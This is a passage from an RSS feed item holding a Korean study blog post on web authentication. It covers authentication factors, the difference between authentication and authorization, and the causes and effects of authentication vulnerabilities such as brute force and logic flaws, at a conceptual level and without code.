&lt;li&gt;이들 메커니즘에서 발생할 수 있는 잠재적 취약점들&lt;/li&gt;
&lt;li&gt;서로 다른 인증 메커니즘 자체에 내재된 취약점(설계적 한계)&lt;/li&gt;
&lt;li&gt;잘못 구현했을 때 도입되는 전형적 취약점들&lt;/li&gt;
&lt;li&gt;자체 인증 메커니즘을 가능한 한 견고하게 만다는 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인증(Authentication)이란?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자나 클라이언트의 신원을 검증하는 과정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹사이트는 인터넷에 연결된 모든 사람들에게 잠재적으로 노출되어 있기 떄문에 강력한 인증 매커니즘은 효과적인 웹 보안을 위해 필수적이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Something you know(지식 기반 요인 - Knowledge factors)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 비밀번호, 보안 질문의 답 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Something you have(소유 기반 요인 - Possession factors)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 모바일폰, OTP 토큰, 보안카드 등 물리적 장치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Something you are or do(고유 기반 요인 - Inherence factors)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 지문, 얼굴 인식, 음성, 행동 패턴&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 인증 메커니즘은 위의 한 가지 이상 요인을 검증하기 위해 다양한 기술에 의존한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Authentication&lt;/b&gt;은 사용자가 자신이 주장하는 사람인지 확인하는 과정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Authorization&lt;/b&gt;(인가)은 사용자가 어떤 행동을 할 수 있는지(권한이 있는지)를 검증하는 과정&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;순서&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Strawberry123이라는 사용자 이름으로 웹 사이트에 접속&lt;/li&gt;
&lt;li&gt;(인증 Authentication) - 그 계정을 만든 같은 사람인지 여부 확인&lt;/li&gt;
&lt;li&gt;인증 완료&lt;/li&gt;
&lt;li&gt;(인가 - Authorization) - 받은 권한에 따라 수행할 수 있는 동작 결정&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인증 취약점 발생 원인 및 영향&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;발생&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 인증 매커니즘이 약할 때&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 무차별 대입(brute-force) 공격을 적절히 방어하지 못할 때 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 로직 결함 또는 잘못된 코딩(구현 오류)이 있을 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 공격자가 인증 과정을 완전히 우회할 수 있게 되는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;영향&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다른 사용자의 계정을 아래와 같은 상황으로 침입한다고 가정&lt;/li&gt;
&lt;li&gt;만약 공격자가 인증 절차를 우회&lt;/li&gt;
&lt;li&gt;무차별 대입(brute-force) 공격&lt;/li&gt;
&lt;li&gt;-&amp;gt; 그 계정이 가진 모든 데이터와 기능에 접근 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;만약 공격자가 &quot;시스템 관리자(system administrator)&quot;처럼 높은 권한을 가진 계정을 탈취한다고 가정&lt;/li&gt;
&lt;li&gt;-&amp;gt; 애플리케이션 전체를 완전히 장악하고 내부 인프라까지 접근 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;만약 공격자가 권한이 낮은 일반 사용자 계정을 탈취한다고 가정&lt;/li&gt;
&lt;li&gt;-&amp;gt; 공격자는 원래 접근할 수 없어야 할 &quot;상업적으로 민감한 정보(business confidential data)&quot;에 접근 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>2025-SWLUG/웹해킹</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/206</guid>
      <comments>https://tigerdemon.tistory.com/206#entry206comment</comments>
      <pubDate>Mon, 10 Nov 2025 16:42:24 +0900</pubDate>
    </item>
  </channel>
</rss>